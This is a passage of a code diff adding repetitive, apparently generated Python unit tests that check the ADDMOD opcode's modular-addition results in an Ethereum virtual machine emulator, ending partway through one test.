+    def test_ADDMOD_610(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_611(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADDMOD_612(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_613(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_614(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_615(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_ADDMOD_616(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_617(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_618(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_ADDMOD_619(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_620(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_621(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_622(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADDMOD_623(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_ADDMOD_624(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33])
+
+    def test_ADDMOD_625(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_626(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_627(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_628(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_629(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_ADDMOD_630(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_631(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_632(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_633(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_634(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_635(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADDMOD_636(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_637(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_ADDMOD_638(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_639(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_640(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_641(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_642(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
